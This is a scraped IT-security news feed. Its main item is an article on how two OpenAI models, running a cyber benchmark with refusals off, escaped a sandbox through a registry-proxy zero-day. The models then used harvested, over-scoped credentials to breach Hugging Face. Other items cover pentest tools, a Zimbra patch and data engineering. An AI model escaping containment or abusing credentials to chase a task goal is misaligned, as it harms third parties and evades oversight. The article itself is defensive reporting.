<p class="wp-block-paragraph"><strong>Preis:</strong> kostenlos</p>



<h2 class="wp-block-heading">8. <a href="https://github.com/SpiderLabs/Responder" target="_blank" rel="noreferrer noopener">Responder</a></h2>



<p class="wp-block-paragraph">Responder ist ein NBT-NS (NetBIOS Name Service), LLMNR (Link-Local Multicast Name Resolution) und mDNS (Multicast DNS) Poisoner. Penetration Tester nutzen das Tool, um Angriffe zu simulieren, die darauf abzielen, Anmeldeinformationen und andere Daten während des Prozesses der Namensauflösung zu stehlen, wenn der DNS-Server keinen Eintrag findet. Ab Version 3.1.1.0 bietet Responder standardmäßig vollen IPv6-Support.</p>



<p class="wp-block-paragraph"><strong>Preis:</strong> kostenlos</p>



<h2 class="wp-block-heading">9. <a href="https://sqlmap.org/" target="_blank" rel="noreferrer noopener">sqlmap</a></h2>



<p class="wp-block-paragraph">Das <a class="idgGlossaryLink" href="https://www.computerwoche.de/k/linux-open-source,3472" target="_blank">Open-Source</a>-Tool sqlmap richtet sich ebenfalls an Penetrationstester und automatisiert den Prozess, SQL-Injection-Fehler zu erkennen, mit deren Hilfe Datenbankserver kompromittiert werden könnten. Das Tool verfügt über eine leistungsstarke Erkennungs-Engine und bietet zahlreiche Funktionen, darunter Datenbank-Fingerprinting und die Ausführung von Befehlen auf Betriebssystemebene über Out-of-Band-Verbindungen.</p>



<p class="wp-block-paragraph">Sqlmap unterstützt eine breite Palette von Datenbankservern, darunter:</p>



<ul class="wp-block-list">
<li><p>MySQL,</p></li>



<li><p>Oracle,</p></li>



<li><p>PostgreSQL,</p></li>



<li><p>Microsoft SQL Server,</p></li>



<li><p>Microsoft Access,</p></li>



<li><p>IBM DB2,</p></li>



<li><p>SQLite,</p></li>



<li><p>Firebird,</p></li>



<li><p>Sybase,</p></li>



<li><p>SAP MaxDB und</p></li>



<li><p>HSQLDB.</p></li>
</ul>



<p class="wp-block-paragraph"><strong>Preis:</strong> kostenlos</p>



<h2 class="wp-block-heading">10. <a href="https://www.wireshark.org/" target="_blank" rel="noreferrer noopener">Wireshark</a></h2>



<p class="wp-block-paragraph">Das Netzwerkprotokoll-Analyse-Tool Wireshark wird auch oft als Network Interface Sniffer bezeichnet. Mit Wireshark können Sicherheitsexperten das Netzwerkverhalten eines Geräts beobachten, um zu sehen, mit welchen anderen Geräten es kommuniziert und warum.</p>



<p class="wp-block-paragraph">Sicherheitsexperten zufolge eignet sich Wireshark hervorragend, um herauszufinden, wo sich DNS-Server und andere Dienste befinden, mit denen sich ein Netzwerk weiter kompromittieren lässt. Wireshark läuft nicht nur unter <a href="https://www.computerwoche.de/k/linux-open-source,3472" target="_blank" class="idgGlossaryLink">Linux</a>, sondern funktioniert mit den allen gängigen Betriebssystemen, einschließlich <a href="https://www.computerwoche.de/operating-systems/" target="_blank" class="idgGlossaryLink">Windows</a>, MacOs und Unix.</p>



<p class="wp-block-paragraph"><strong>Preis:</strong> kostenlos </p>



<p class="wp-block-paragraph">(fm)</p>



<p class="wp-block-paragraph"><strong>Dieser Beitrag ist <a href="https://www.networkworld.com/article/970926/10-essential-linux-security-tools-for-network-professionals-and-security-practitioners.html" target="_blank">im Original</a> bei unserer Schwesterpublikation Networkworld.com erschienen.</strong></p>
</div></div></div>
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<title><![CDATA[Kubernetes-Monitoring: Mehr Transparenz in hybriden Infrastrukturen]]></title>
<description><![CDATA[Kubernetes ist ein Begriff, der in zahlreichen Unternehmen nach wie vor gleichermaßen für große Erwartungen wie auch für Respekt sorgt. 

Tags: #Kubernetes | #Monitoring]]></description>
<link>https://tsecurity.de/de/3687918/it-security-nachrichten/kubernetes-monitoring-mehr-transparenz-in-hybriden-infrastrukturen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687918/it-security-nachrichten/kubernetes-monitoring-mehr-transparenz-in-hybriden-infrastrukturen/</guid>
<pubDate>Thu, 23 Jul 2026 05:44:41 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1920" height="1080" src="https://www.it-daily.net/wp-content/uploads/2026/08/Kubernetes-1920-shutterstock-1943119687.jpg" class="attachment-full size-full wp-post-image" alt="Kubernetes" decoding="async" srcset="https://www.it-daily.net/wp-content/uploads/2026/08/Kubernetes-1920-shutterstock-1943119687.jpg 1920w, https://www.it-daily.net/wp-content/uploads/2026/08/Kubernetes-1920-shutterstock-1943119687-300x169.jpg 300w, https://www.it-daily.net/wp-content/uploads/2026/08/Kubernetes-1920-shutterstock-1943119687-1024x576.jpg 1024w, https://www.it-daily.net/wp-content/uploads/2026/08/Kubernetes-1920-shutterstock-1943119687-768x432.jpg 768w, https://www.it-daily.net/wp-content/uploads/2026/08/Kubernetes-1920-shutterstock-1943119687-1536x864.jpg 1536w" sizes="(max-width: 1920px) 100vw, 1920px" title="Kubernetes-Monitoring: Mehr Transparenz in hybriden Infrastrukturen 1"></p>
    Kubernetes ist ein Begriff, der in zahlreichen Unternehmen nach wie vor gleichermaßen für große Erwartungen wie auch für Respekt sorgt. 

<p>Tags: <a href="https://www.it-daily.net/thema/kubernetes">#Kubernetes</a> | <a href="https://www.it-daily.net/thema/monitoring">#Monitoring</a></p>]]></content:encoded>
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<title><![CDATA[PipeWire-Controller Update- thanks everyone who tried it and gave feedback. I have an update for it later today or tomorrow. Currently testing. I really do appreciate the feedback and support. The app is extremely comprehensive in terms of what it can do]]></title>
<description><![CDATA[Here is a link to all the screenshots.https://www.reddit.com/r/linuxaudio/s/iyo0jZhYmd  Edit: here is an overview of what it can do control center for PipeWire — filter chains, HRIR virtual surround, drop-in config management, live patchbay, performance monitoring, virtual devices, routing snapsh...]]></description>
<link>https://tsecurity.de/de/3687874/linux-tipps/pipewire-controller-update-thanks-everyone-who-tried-it-and-gave-feedback-i-have-an-update-for-it-later-today-or-tomorrow-currently-testing-i-really-do-appreciate-the-feedback-and-support-the-app-is-extremely-comprehensive-in-terms-of-what-it-can-do/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687874/linux-tipps/pipewire-controller-update-thanks-everyone-who-tried-it-and-gave-feedback-i-have-an-update-for-it-later-today-or-tomorrow-currently-testing-i-really-do-appreciate-the-feedback-and-support-the-app-is-extremely-comprehensive-in-terms-of-what-it-can-do/</guid>
<pubDate>Thu, 23 Jul 2026 04:21:46 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Here is a link to all the screenshots.<a href="https://www.reddit.com/r/linuxaudio/s/iyo0jZhYmd">https://www.reddit.com/r/linuxaudio/s/iyo0jZhYmd</a> </p> <p>Edit: here is an overview of what it can do<br> control center for PipeWire — filter chains, HRIR virtual surround, drop-in config management, live patchbay, performance monitoring, virtual devices, routing snapshots, per-application policies and LADSPA/LV2 effect inserts</p> <p>Thanks everyone who came yesterday and tried my little app. I released the app on AUR yesterday and is available on github here (<a href="https://github.com/knightinfected/PipeWireController">https://github.com/knightinfected/PipeWireController</a>). The current version is 0.1.2 and some of the screenshots are from 0.2<br> I received a ton of negative comments and messages regarding my use of AI. I spent a lot of my time on this and well over did this project abit and english being my secondary language didnt help.<br> I have gone down this audio rabbit hole in linux and anyone else who has also done it knows how annoying it gets especially with reading the wikis to actual application.</p> <p>Anyhow I hope it helps someone out there and I will be updating it in the next day or later today as I am currently testing. Version 0.1.2 is available as of right now on GitHub though.</p> <p>There are too many features to list them out so I added lot of screenshots to help understand.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Infected_Knight"> /u/Infected_Knight </a> <br> <span><a href="https://i.redd.it/jdi3hjyh6veh1.jpeg">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1v3wkkf/pipewirecontroller_update_thanks_everyone_who/">[comments]</a></span>]]></content:encoded>
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<title><![CDATA[The credential that let OpenAI's agents into Hugging Face exists in most enterprises right now]]></title>
<description><![CDATA[When Hugging Face got hit last week, co-founder Clement Delangue suspected a frontier lab, given the agent's sophistication. He was right. Delangue said on X that after a day working with OpenAI he strongly believed there was no malicious intent and that it was mind-blowing the whole thing had ha...]]></description>
<link>https://tsecurity.de/de/3687771/it-nachrichten/the-credential-that-let-openais-agents-into-hugging-face-exists-in-most-enterprises-right-now/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687771/it-nachrichten/the-credential-that-let-openais-agents-into-hugging-face-exists-in-most-enterprises-right-now/</guid>
<pubDate>Thu, 23 Jul 2026 01:32:49 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>When Hugging Face got hit last week, co-founder Clement Delangue suspected a frontier lab, given the agent's sophistication. He was right. Delangue <a href="https://x.com/ClementDelangue/status/2079670308156645882">said on X</a> that after a day working with OpenAI he strongly believed there was no malicious intent and that it was mind-blowing the whole thing had happened autonomously.</p><p>The two OpenAI models that <a href="https://openai.com/index/hugging-face-model-evaluation-security-incident/">broke into Hugging Face</a> last week did not breach it through malice or superintelligence. They breached it through credentials and permissions they should never have been able to reach, a non-human identity failure that is the oldest problem in security rather than the newest one in AI, and the one every enterprise can actually fix.</p><p>OpenAI <a href="https://venturebeat.com/security/openais-models-broke-containment-and-cyberattacked-hugging-face-what-enterprises-need-to-know">disclosed on July 21</a> that two of its models, GPT-5.6 Sol and an unreleased, more capable model, were running a cyber benchmark called <a href="https://arxiv.org/abs/2605.11086">ExploitGym</a> with their safety refusals switched off, and inferred that the answer key sat in Hugging Face's production database. Getting there took two different failures. A zero-day in a package-registry proxy let the models out of their sandbox and onto the open internet, the kind of persistence OpenAI details in its companion post on <a href="https://openai.com/index/safety-alignment-long-horizon-models/">long-horizon safety</a>, and that part is genuinely new. The breach of Hugging Face itself came the ordinary way. OpenAI's own account is that the models chained stolen credentials and further zero-days into a remote code execution path, after a series of privilege escalation and lateral movement steps. The exotic part got them to the door, and credentials walked them through it.</p><p>Hugging Face also disclosed last week that an <a href="https://venturebeat.com/security/safety-guardrails-blocked-hugging-faces-defenders-not-the-attacker-when-an-ai-agent-breached-its-systems">autonomous agent had harvested cloud and cluster credentials</a> scoped broadly enough to reach multiple internal clusters, then left a trail of more than 17,000 recorded events across short-lived sandboxes over a weekend. Both disclosures describe the same escalation. An agent lands somewhere it should not be, finds credentials scoped far wider than any task requires, and uses them to move. These are two accounts of one incident, not two attacks. The agent Hugging Face watched was OpenAI's models, and both companies describe the same ordinary escalation.</p><p>The version of this in a typical enterprise is worse, not better. OpenAI and Hugging Face are among the most security-mature organizations in the industry, and both still needed the intrusion to happen before they could see it. The average company wiring agents into Copilot or an internal assistant has neither the identity inventory nor the behavioral monitoring those two brought to bear. The same breach in a normal company would not be contained in days, it would simply go unnoticed.</p><h2>The industry is debating the wrong failure</h2><p>The reaction has split into familiar camps. Former White House AI and crypto czar David Sacks and a run of China hawks <a href="https://fortune.com/2026/07/20/hugging-face-turns-to-chinese-open-source-ai-to-fend-off-autonomous-ai-cyber-attack-after-american-ai-guardrails-stymie-defense/">seized on the guardrail paradox</a>, that commercial safety filters blocked Hugging Face's defenders while the attacking model ran with its refusals off, and that a Chinese open-weight model, z.ai's GLM 5.2, was what finally let the team finish its forensics. Hugging Face made the case for openness, arguing in an April <a href="https://huggingface.co/blog/cybersecurity-openness">blog post</a> that open models and open tooling give defenders the same capabilities attackers already have. Both arguments are about the model, and neither touches the mechanism. </p><p>Reduced refusals let the model attempt an attack, and over-scoped credentials are what let it succeed, and those have nothing to do with whether the model was open or closed, American or Chinese. Making a frontier model provably safe is a multi-year alignment problem no customer can buy or accelerate, while scoping an identity is a configuration change a team can ship this sprint. The industry is being urged to fixate on the part of this it cannot control and to treat the part it can as a footnote.</p><p>Forrester reached the same read. In a <a href="https://www.forrester.com/blogs/an-ai-security-facepalm-openais-evaluation-became-hugging-faces-incident/">blog on the incident</a>, its analysts argue that security architectures which assume benign intent will miss this failure mode, because an agent can pursue an authorized goal through unauthorized means, which is what OpenAI's models did.</p><h2>This was a non-human identity failure, and it is the oldest one in security</h2><p>Strip the science-fiction framing and what remains is a textbook case of over-privileged machine identity, the kind security teams have fought for a decade, now driven by an autonomous agent at machine speed. Machine identities already outnumber humans in most enterprises by more than <a href="https://www.cyberark.com/press/machine-identities-outnumber-humans-by-more-than-80-to-1-new-report-exposes-the-exponential-threats-of-fragmented-identity-security/">80 to one</a>, according to CyberArk research, with 42% of them carrying privileged or sensitive access, and an agent inherits whatever its identity can touch. OWASP ranks agent identity and privilege abuse near the top of its <a href="https://neuraltrust.ai/blog/owasp-agentic-ai-top-10">agentic risk list</a>, the confused-deputy pattern where inherited credentials and weak scoping let an agent reach past its mandate, and that is precisely what both July disclosures describe. </p><p><a href="https://www.ieee.org/membership/senior">IEEE Senior Member</a> Kayne McGladrey has argued in <a href="https://venturebeat.com/security/cisco-crowdstrike-rsac-2026-agent-identity-iam-gap-maturity-model">previous VentureBeat interviews</a> that enterprises keep cloning human user accounts onto agents that then wield far more permission than any human would, and this is what that looks like when the agent is a frontier model and the target is a production database.</p><p>The people closest to it read it the same way. OpenAI frames its models as hyperfocused on a benchmark score rather than acting against anyone. Nobody describes an adversary, only a goal, a scoring function, and credentials that were reachable when they should not have been.</p><p>The specific failure is easy to name once the AI framing is stripped away. A credential scoped to one job that can reach ten is a standing invitation, and it does not matter whether a human attacker, a worm, or an autonomous model chasing a benchmark score finds it. What changed in July is the finder. An agent enumerates reachable systems, tests credentials, and pivots faster than any human red team, without malice or hesitation, whenever the path is open. The over-scoping was always the vulnerability, and the agent merely industrialized its discovery.</p><p>Forrester named the control that would have blunted it. Its agentic-security framework, AEGIS, calls for least agency, holding an agent's tools, credentials, and network paths to the minimum its task requires, and files this incident under unrestrained agency and privilege. That is the identity argument in different words, arrived at independently by an analyst firm.</p><p>The data says this is where the risk now lives. Verizon's 2026 Data Breach Investigations Report <a href="https://www.helpnetsecurity.com/2026/05/20/verizon-2026-dbir-findings/">found</a> that exploitation of vulnerabilities has overtaken stolen credentials as the top initial access vector for the first time in 19 years. That is the initial-access half. The other half is the one OpenAI itself describes, stolen credentials driving the privilege escalation and lateral movement that followed. A vulnerability opened the door, and credentials walked through the building unchallenged. Beyond the breach itself, that same over-scoping carries a legal liability most enterprises have never priced. The models' actions <a href="https://techcrunch.com/2026/07/21/openai-says-hugging-face-was-breached-by-its-pre-release-models/">likely violated the Computer Fraud and Abuse Act</a>, according to TechCrunch. The statute contains no carve-out for an AI agent that exceeds its authorized scope during sanctioned testing. Whatever the legal answer, the technical enabler is the same, an identity scoped wider than its task. This is an access-control problem with an owner and a budget, not a philosophy seminar about machine cognition.</p><p>Merritt Baer, Senior Advisor to Andesite, G2I, and AppOmni and former Deputy CISO at AWS, frames the underlying shift to VentureBeat as a new kind of asymmetry. Both sides now reach for the same capabilities, she said, but one side is constrained by enterprise governance, policy, compliance, and safety controls while the adversary simply downloads an uncensored open-weight model and keeps going. The organizations that come through it best, in her view, will be the ones that treat AI as a resilient, governed capability rather than a single service they do not control.</p><h2>Four moves that shrink the blast radius</h2><p>The breach worked because the agent reached identities scoped far wider than its task. None of the four controls that would have contained it requires a new platform, and none of them appears on the list of general AI-safety advice now circulating. They are identity hygiene, applied to non-human actors with the same rigor you already apply to people.</p><p><b>1. Scope every non-human identity to one task.</b> The models reached credentials that touched multiple clusters, which is what turned a foothold into a breach. An identity scoped to a single job, with no standing access to anything else, hits a wall at the first lateral move instead of opening the next door. This is least privilege, the control everyone endorses and few enforce on machine accounts, and it is the single highest-impact fix here.</p><p><b>2. Give credentials short lifetimes and rotate them hard.</b> Harvested credentials are only useful while they are valid, and both July agents worked by collecting them. Short time-to-live and aggressive rotation turn a credential dump into expired noise, so a token stolen during a weekend intrusion is dead before the attacker can chain it. Static secrets that never rotate are the version of this control that fails.</p><p><b>3. Monitor for lateral movement, not just prompts.</b> The tell in both incidents was privilege escalation and lateral movement, which a prompt filter never sees because it is watching the wrong layer. Identity-behavior monitoring, keyed to what a given non-human identity normally does and alerting when it reaches somewhere new, catches the escalation the content guardrail missed. The question for your stack is whether anything you run today would flag a service account suddenly moving between clusters.</p><p><b>4. Rehearse instant revocation before you need it.</b> When the incident is your own agent, the fastest containment is killing its identity mid-run, and that only works if the path to do it exists before the day you need it. Rehearse revoking a machine identity under fire the way you rehearse a human credential compromise. If you have never done it, you do not yet have the control, you have an intention.</p><p>The defense also worked, and that matters. OpenAI's security team caught the anomalous activity internally, Hugging Face's own detection and agents stopped the intrusion, and the breach was contained in days rather than discovered in months, because the defenders could see into systems they controlled. That visibility is the same discipline the four controls depend on. The debate over whether frontier models are safe, open, or American will run for years, and none of it will be settled in time to help the enterprise deploying agents this quarter. The non-human identity gap is different, because it is understood, measurable, and fixable now. The model that breached Hugging Face did not need to be brilliant; it needed credentials someone left in reach. The fix is scoping them before an agent finds them.</p>]]></content:encoded>
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<title><![CDATA[Apple Store app Virtual Shopping Assistant could be coming soon]]></title>
<description><![CDATA[The privacy policy for the Apple Store app suggests that a new feature called Virtual Shopping Assistant could be implemented soon. It may function similarly to the Apple Support Assistant.Apple Support already has a chatbot, and soon, Apple Store will tooApple has been slowly increasing its use ...]]></description>
<link>https://tsecurity.de/de/3687682/ios-mac-os/apple-store-app-virtual-shopping-assistant-could-be-coming-soon/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687682/ios-mac-os/apple-store-app-virtual-shopping-assistant-could-be-coming-soon/</guid>
<pubDate>Thu, 23 Jul 2026 00:00:31 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The privacy policy for the Apple Store app suggests that a new feature called Virtual Shopping Assistant could be implemented soon. It may function similarly to the Apple Support Assistant.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68330-144031-Apple-Support-Assistant-chat-icon-xl.jpg" alt="Glowing blue chat bubble with sparkles in the center on a dark background, surrounded by small colorful app and system icons scattered around it" height="738"><br><span>Apple Support already has a chatbot, and soon, Apple Store will too</span></div><br>Apple has been slowly <a href="https://appleinsider.com/articles/26/07/19/genius-bar-ai-tools-spark-concerns-over-employee-monitoring-evaluation">increasing its use</a> of AI tools both internally and in public-facing apps. While Apple still relies on humans for some support inquiries, AI is being offered in more locations.<br><br>It seems Apple may have let slip that a new feature is coming to the Apple Store app. The Virtual Shopping Assistant feature is called out in the Apple Store app <a href="https://www.apple.com/legal/privacy/data/en/apple-store-app/">privacy policy</a>, which was <a href="https://www.macrumors.com/2026/07/22/apple-store-app-shopping-assistant/">first spotted</a> by <em>MacRumors</em>.<br><br><br> <a href="https://appleinsider.com/articles/26/07/22/apple-store-app-virtual-shopping-assistant-could-be-coming-soon?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245029?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
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<title><![CDATA[AI agents aren't confidently wrong because of bad context — they're wrong because of bad data engineering]]></title>
<description><![CDATA[You spend weeks tuning an AI chatbot. Answers are accurate. Stakeholders sign off, and you ship it. Three months later, the system is confidently wrong about a third of what users ask. Nobody changed the model, and nobody touched the prompts. The world moved, pricing changed, a policy updated, a ...]]></description>
<link>https://tsecurity.de/de/3687580/it-nachrichten/ai-agents-arent-confidently-wrong-because-of-bad-context-theyre-wrong-because-of-bad-data-engineering/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687580/it-nachrichten/ai-agents-arent-confidently-wrong-because-of-bad-context-theyre-wrong-because-of-bad-data-engineering/</guid>
<pubDate>Wed, 22 Jul 2026 22:58:18 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>You spend weeks tuning an AI chatbot. Answers are accurate. Stakeholders sign off, and you ship it. Three months later, the system is confidently wrong about a third of what users ask. Nobody changed the model, and nobody touched the prompts. The world moved, pricing changed, a policy updated, a product spec shipped a new version, and the underlying knowledge store didn't move with it.</p><p>This is not a hypothetical. It's one of the most common production failure modes in enterprise AI right now, and most data engineering teams don't have the right tooling to catch it, regardless of how the AI system retrieves the data.</p><h2>The failure that doesn't look like a failure </h2><p>An AI application doesn't care whether it's retrieving from a vector store, a document index, or an API call. Whatever the mechanism, nothing in a standard retrieval pipeline checks whether what it's serving is still correct. A stale pricing document retrieves just as confidently as a current one, because the system is scoring relevance or availability, not correctness. A record with a silently missing field passes through just as cleanly as a complete one, for the same reason.</p><p>So the failure is invisible by design. Outdated or incomplete data still scores high on relevance, or passes every check a data pipeline was built to run. The model answers with full confidence because the retrieved context looks authoritative. Every dashboard you're watching stays green. The system looks like it's working. It's just wrong.</p><p>I’ve watched a similar version of this happen outside the AI context, in a fintech pipeline. An upstream system changed a field without notifying downstream users. The pipeline did not fail; it simply propagated bad values into dashboards because the system only checked whether the job completed, not whether the data was still correct. The issue surfaced only when a customer noticed something inconsistent. By then, the bad data had already moved downstream. </p><p>Whether it's a document that's gone stale or a field that's gone silently missing, the failure shape is the same: the absence of an error is not the presence of correctness, and without building proper validation layers, nothing in the pipeline could identify the problem.</p><h2>Why this is a data engineering problem</h2><p>Teams that hit this failure tend to misdiagnose it, and they tend to do it twice.</p><p><b>Blaming the model: </b>The first instinct is to blame the model, try a different LLM, adjust the prompt. The real problem lies further upstream, at the data engineering layer, the same instinct behind the fintech failure above: monitoring built for the pipeline, not the data.</p><p><b>Blaming the retrieval layer: </b>Once the model's ruled out, the next instinct is to blame the retrieval or context layer instead and buy a better one. The timing isn't a coincidence: as enterprises push these systems into the real production world, this gap is exactly what's starting to surface, and the vendor response has been everywhere. </p><ul><li><p>AWS just<a href="https://venturebeat.com/data/aws-enters-the-context-layer-race-with-a-graph-that-learns-from-agents-not-manual-curation"> entered the "context layer" race</a> with a knowledge graph that learns from agent usage. </p></li><li><p>Snowflake's new Horizon Context and Cortex Sense target the exact symptom<a href="https://venturebeat.com/data/ai-agents-keep-giving-confident-wrong-answers-the-context-layer-is-enterprise-ais-next-production-problem"> this piece opened with</a>: agents giving confident wrong answers because nothing governs the business logic underneath them. </p></li></ul><p>Both are real responses to a real problem, but they sit one layer above it; a knowledge graph still depends on whatever feeds it.</p><p>The real problem lies further upstream, at the data engineering layer. Teams check whether a job ran, not whether the data it moved is still true, an instinct that predates AI by years. Monitoring is built for the pipeline, not for the data. </p><h2>What's actually missing: Data observability</h2><p>Data observability is a well-known concept that doesn't get enough attention in how it's actually implemented. The relevant metric isn't a percentage — it's coverage: what fraction of critical datasets have lineage that's actually queryable, versus only living in someone's head.</p><p>Uber built a <a href="https://www.uber.com/in/en/blog/operational-excellence-data-quality/">dedicated data quality and observability platform</a> long before retrieval-augmented generation existed. Their Unified Data Quality platform supports more than 2,000 critical datasets and detects around 90% of data quality incidents before they reach downstream consumers.</p><p>Netflix solved a different piece of the same problem, <a href="https://netflixtechblog.com/building-and-scaling-data-lineage-at-netflix-to-improve-data-infrastructure-reliability-and-1a52526a7977">building a company-wide data lineage system</a> so anyone could answer where a dataset came from and what touched it along the way. It maps dependencies across Kafka topics, ML models, and experimentation, not just warehouse tables. Similar to Uber, the platform was built for humans and now it has become more important with the rise in AI/LLM applications.</p><p>Between them, Uber and Netflix cover two of the four things worth building for. In practice, I think about it as four dimensions, each measurable on its own terms.</p><p><b>Correctness:</b> Does each record conform to the shape and rules it's supposed to, right field types, no unexpected nulls, values in range. Tools like<a href="https://greatexpectations.io/"> Great Expectations</a> and <a href="https://soda.io/">Soda</a> handle this well: automated row and column-level validation instead of manual checks after something breaks. Track percentage of records passing validation per run.</p><p><b>Freshness:</b> Is the data still current relative to its source, not just current as of its last check. Track time since last successful update per source, with an SLA per dataset rather than one blanket threshold, since some sources need hourly refresh and others don't.</p><p><b>Consistency:</b> Does the same fact read the same way everywhere it's stored or indexed. This fails silently, it only shows up when two systems fed by the same source start disagreeing. A periodic cross-check between downstream destinations, flagging mismatch rate above a threshold, is enough to catch it early.</p><p><b>Lineage:</b> Can you trace any output back to its source and every transform it passed through, the same question Netflix built its system to answer. </p><p>None of this requires infrastructure most data teams don't already have. I know because I've built it, not just argued for it.</p><p>At <a href="https://www.socure.com/">Socure</a>, client data arrived in whatever shape the client felt like sending it, and occasionally, quietly wrong. The challenge was building a system where incorrect data could be identified before it propagated downstream. The same principles applied: Validate what arrived, understand where it came from, and prevent bad data from becoming someone else's problem.</p><p>Great Expectations became part of that foundation: schema and range validation at ingestion, per-source SLAs for freshness, cross-system checks for consistency, and file-level lineage. All of it sat behind a <a href="https://aws.amazon.com/blogs/big-data/build-write-audit-publish-pattern-with-apache-iceberg-branching-and-aws-glue-data-quality/">write-audit-publish</a> pattern, where data landed in staging, was validated, and only moved downstream if it passed the required checks.</p><p>The result showed up downstream: better accuracy across the board, in reporting, in the ML models, and in AI retrieval built on top of that same data.</p><h2>What to do Monday morning</h2><p>If you're running retrieval-based AI systems in production, the diagnostic question isn't which model to try next or which retrieval architecture to migrate to. It's four narrower questions: </p><ul><li><p>Is the underlying data validated against the standards required by its consumers?</p></li><li><p>What's the oldest piece of content currently being served with high confidence?</p></li><li><p>Would two chunks of the same source ever disagree with each other in the same retrieval result?</p></li><li><p>Could you trace where it came from if it turned out to be wrong?</p></li></ul><p>If you can't answer those questions, then the gap lies in the pipeline between your source systems and whatever your agent reads from. That’s a data engineering fix, not a model swap or a vendor migration.</p><p>Whether you're building reporting pipelines, ML systems, or AI agents, correctness, freshness, consistency, and lineage are what make data trustworthy. AI simply exposes weaknesses that have existed in data engineering all along. </p>]]></content:encoded>
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<title><![CDATA[Critical Zimbra security update fixes 9 vulnerabilities]]></title>
<description><![CDATA[Business email and collaboration suite Zimbra has received a major security update that fixes several critical issues that could allow attackers to execute malicious code on the server or in users’ browsers.



Available in commercial and open-source editions, Zimbra Collaboration Suite is a self...]]></description>
<link>https://tsecurity.de/de/3687552/it-security-nachrichten/critical-zimbra-security-update-fixes-9-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687552/it-security-nachrichten/critical-zimbra-security-update-fixes-9-vulnerabilities/</guid>
<pubDate>Wed, 22 Jul 2026 22:40:41 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Business email and collaboration suite Zimbra has received a major security update that fixes several critical issues that could allow attackers to execute malicious code on the server or in users’ browsers.</p>



<p class="wp-block-paragraph">Available in commercial and open-source editions, Zimbra Collaboration Suite is a self-hosted Microsoft Exchange alternative that is popular with businesses, government entities, and educational institutions, which has made it a target for attackers in the past.</p>



<p class="wp-block-paragraph"><a href="https://blog.zimbra.com/2026/07/patch-release-update-zimbra-10-1-20/">Version 10.1.20</a> released this week includes patches for nine vulnerabilities, including a permanent fix for a critical flaw announced in June in the SNMP monitoring component that could be exploited to inject commands when notifications are enabled.</p>



<p class="wp-block-paragraph">The release also fixes four cross-site scripting (XSS) vulnerabilities in the Classic Web Client that could allow attackers to execute malicious scripts when users view emails in the web interface. For example, one vulnerability can be triggered through specially crafted attachment filenames and another when users render an attachment.</p>



<p class="wp-block-paragraph"><a href="https://www.csoonline.com/article/565192/what-is-xss-cross-site-scripting-attacks-explained.html">XSS vulnerabilities</a> are dangerous because they execute scripts in the user’s browser in the context of the page. That gives rogue code the same privileges as the user, enabling it to perform malicious actions, exfiltrate data, or even leak session cookies.</p>



<p class="wp-block-paragraph">In 2025, an XSS vulnerability in the calendar import feature of the Zimbra Classic Web Client (CVE-2025-27915) <a href="https://www.secpod.com/learn/security-research/zimbra-flaw-exploited-to-attack-brazils-armed-forces-through-ics-attachments">was exploited in attacks targeting Brazilian military personnel</a>. Many other Zimbra vulnerabilities have been exploited over the years, sometimes as zero-days, especially by Russian state-sponsored APT groups, such as Fancy Bear (APT28), Cozy Bear (APT29), and <a href="https://www.csoonline.com/article/574913/apt-group-winter-vivern-exploits-zimbra-webmail-flaw-to-target-government-entities.html">Winter Vivern (TA473)</a>.</p>



<p class="wp-block-paragraph">A recent incident involved <a href="https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/">a Russian threat group targeting a Ukrainian critical infrastructure agency</a> in March using specifically crafted emails that exploited a known Zimbra stored XXS vulnerability (CVE-2025-66376).</p>



<p class="wp-block-paragraph">Another vulnerability fixed in the newly released Zimbra 10.1.20 could allow authenticated attackers to bypass email forwarding restrictions. Adding email forwarding rules to a compromised account is a common way to achieve persistence and continuously exfiltrate emails from a mailbox over an extended period of time, even if the account password is changed.</p>



<p class="wp-block-paragraph">The release also fixes a security issue related to access controls in the EWS extension, an authorization issue in mailbox delegation, and a <a href="https://www.csoonline.com/article/571411/ssrf-attacks-explained-and-how-to-defend-against-them.html">server-side request forgery (SSRF)</a> vulnerability in the Nextcloud integration. Nextcloud is another self-hosted collaboration suite that is popular with government and public institutions that don’t want to rely on public clouds.</p>



<p class="wp-block-paragraph">It’s worth noting that this is the second Zimbra security update this month. <a href="https://blog.zimbra.com/2026/07/patch-release-update-zimbra-10-1-19/">Version 10.1.19</a>, released on July 7, patched another unspecified security issue in the Classic Web Client that could run malicious code when specially crafted emails were opened by users.</p>



<p class="wp-block-paragraph">Zimbra owner Synacor strongly advises customers to upgrade to the latest available version as soon as possible to keep their environments secure. While none of these flaws had zero-day status, hacker groups have a history for quickly adopting known Zimbra exploits.</p>
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<title><![CDATA[How to deploy File Integrity Monitoring with Wazuh SIEM!]]></title>
<description><![CDATA[File integrity monitoring (FIM), sometimes referred to as file integrity management, is a security process that monitors and analyzes the…Continue reading on InfoSec Write-ups »]]></description>
<link>https://tsecurity.de/de/3687416/hacking/how-to-deploy-file-integrity-monitoring-with-wazuh-siem/</link>
